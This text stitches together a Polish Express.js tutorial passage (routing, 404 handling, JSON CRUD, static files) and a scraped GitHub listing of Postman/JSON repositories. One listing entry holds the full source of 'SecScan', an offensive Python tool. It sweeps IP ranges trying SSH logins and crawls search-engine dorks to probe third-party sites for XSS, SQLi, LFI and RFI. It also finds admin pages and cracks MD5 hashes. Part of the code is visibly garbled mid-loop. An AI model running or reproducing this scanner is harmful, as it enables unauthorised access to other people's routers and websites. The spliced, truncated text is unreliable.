który daje programiście przyjemną podstawkę do tworzenia aplikacji, ale nie narzuca żadnych praktyk - może o tym świadczyć chociażby fakt, że wiele znanych frameworków opiera swoją budowę na Express. Można do nich zaliczyć przykładowo Loopbacka, Sailsa czy Krakena. Model-View-Controller Ok, wiemy już czym jest framework - pora na pojęcie MVC :) Jest to skrót od ang. Model View Controller (Model Widok Kontroler). Jest jednym z najczęściej przewijających się wzorców architektonicznych w internecie. Popularnością pomału wypiera go architektura Flux, o której coraz częściej słychać (szczególnie w środowisku Reacta), ale o tym wzorcu powiemy sobie jeszcze przy okazji omawiania Reduxa - wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią | 0 stars | 0 watchers | 0 forks |
mastermalone/bundle_runner_files bundle, file, files, json, runner, runners, script, scripts |
Bash scripts to create .json files used for Postman runners | 0 stars | 0 watchers | 0 forks |
Mol0ko/AlamofireRouterGenerator application, collection, generating, json, rating, route, router |
MacOS application for generating Swift 3 Alamofire router enum from Postman json collection | 0 stars | 0 watchers | 0 forks |
momololiya/Postman application, check, json |
I have created Header-application/json,but it didn't change to JSON(application/json) in Body-raw,pls help me check ,thank you. | 0 stars | 0 watchers | 0 forks |
MrZyr0/Quick-API collection, file, json, node, parse, postman collection, readable, script |
Some node script to parse postman collection into a more readable json file | 0 stars | 0 watchers | 0 forks |
ogerly/HC_postman_collection collection, json |
Human Connection API - HC.postman_collection.json | 0 stars | 0 watchers | 0 forks |
parasoft/postman-soatest collection, file, json, test |
Parses the Postman v2 collection.json file and uses the Parasoft SOAtest REST API to create SOAtest .tst's. | 0 stars | 0 watchers | 0 forks |
paulvollmer/PostmanCollectionProgrammatically collection, file, json, program, programmatically |
Create Postman collection json file programmatically. | 0 stars | 0 watchers | 0 forks |
pedrodropa/vtex json |
json postman | 0 stars | 0 watchers | 0 forks |
PIcture123/Movies json, movie, program |
This is Java (Spring MVC) program,that when you post a json with postman you reseve a movie | 0 stars | 0 watchers | 0 forks |
PrajaktaDiware/Angular4-jSONEditor angular, editor, json, swagger |
It is angular 4 json editor just like an postman and swagger used in Mvc | 0 stars | 0 watchers | 0 forks |
qertis/openapi-jsonrpc-jsdoc jsdoc, json, openapi |
Generator OpenAPI (Swagger, Postman) JSON-RPC by JSDOC | 0 stars | 0 watchers | 0 forks |
randomdize/json-to-postman-form-data bulk, data, form, json, object, random, transform, transforming |
transforming json key-value object to form-data for postman bulk edit. | 0 stars | 0 watchers | 0 forks |
raviteja548/xpath-postman embedded, json, path, sequence, steps, version |
Involves a sequence of steps in conversion of set of set of xpath to json request and further this request will be embedded in postman | 0 stars | 0 watchers | 0 forks |
rdbhagat999/node-jwt-mocha-todo-rest-api auth, authentication, chrome, endpoint, endpoints, extension, json, jsonwebtoken, node, rest, rest api, send, todo, token |
Nodejs rest api with authentication using jsonwebtoken. Use postman chrome extension to send requests to endpoints | 0 stars | 0 watchers | 0 forks |
ryanc16/node-postman-docs convert, docs, json, markdown, node, test, tests |
Utility to convert Postman tests in json to markdown | 0 stars | 0 watchers | 0 forks |
ryonryon/Send_POST_DB data, json |
Send json data by Postman and insert the data in MySQL | 0 stars | 0 watchers | 0 forks |
Sagar-D/postman2xlsx collection, details, json, postman collection, xlsx |
Export Request and response details from postman collection json to csv | 0 stars | 0 watchers | 0 forks |
samarendra016/postman-project file, json |
Store json file | 0 stars | 0 watchers | 0 forks |
sanju-gajjar/savePostmanResponse json, store |
its basically store the postman response, json or csv option | 0 stars | 0 watchers | 0 forks |
skylauriam/Sky_Loadium_Postman2Jmx convert, file, jmeter, json |
Utility to convert a postman json file to jmeter jmx file | 0 stars | 0 watchers | 0 forks |
snailgirl/postman2Testcase case, json |
将 postman json 文件转换为 HttpRunner YAML/JSON 用例 | 0 stars | 0 watchers | 0 forks |
supermanxkq/export export, json |
获取postman导出的json数据,分别将不同的请求接口写到Excel中。 | 0 stars | 0 watchers | 0 forks |
tareque20/fake-rest-api-using-json-server fake, json, rest, rest api, server, test |
Simple rest api test using json server | 0 stars | 0 watchers | 0 forks |
tomalex0/request-promise-postman debug, json |
Generate postman json from request-debug | 0 stars | 0 watchers | 0 forks |
ultramari/TesteAPI json, test |
teste json com postman | 0 stars | 0 watchers | 0 forks |
uniondrug/postman export, json |
export php api as postman.json | 0 stars | 0 watchers | 0 forks |
vikrantmulani/postmanapitest apitest, collection, environment, file, json, postmanapitest, server, test |
This is a very basic Postman API of json server test with a collection and environment file. | 0 stars | 0 watchers | 0 forks |
Weicoz/postman_to_markdown json, markdown |
针对通过postman导出的json文件,转换为showdoc的markdown | 0 stars | 0 watchers | 0 forks |
woolsox/stat-tracker assignment, json, stat, track, tracker, week |
stat tracker weekend assignment. postman + json api practice. | 0 stars | 0 watchers | 0 forks |
xraybat/groovy-postman-collection-runner collection, groovy, json, parse, postman collection, runner, summary |
groovy postman collection runner json parse and summary | 0 stars | 0 watchers | 0 forks |
yashdeepk/restapi application, data, endpoint, endpoints, flask, form, format, header, json, python, rest, restapi, verify |
Web Service API using python and flask. A Flask application that expose the RESTful URL endpoints. All data sent to and from the API is in JSON format with the Content-Type header field set to application/json. Used postman to verify the outcome. | 0 stars | 0 watchers | 0 forks |
yezige/jsonToPostman json |
jsonToPostman | 0 stars | 0 watchers | 0 forks |
zh-hub/ahs-recharge-postman-json charge, json |
爱回收自动化收费测试用例json脚本 | 0 stars | 0 watchers | 0 forks |
udinparla/aa.py address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user |
#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() | 4 stars | 4 watchers | 0 forks |
XeroAPI/xero-postman-oauth2 api blueprint, asyncapi, auth, collection, json schema, oauth, oauth2, openid, postman collection, sql |
A postman collection for use with Xero's API and OAuth 2.0 | 0 stars | 0 watchers | 5 forks |
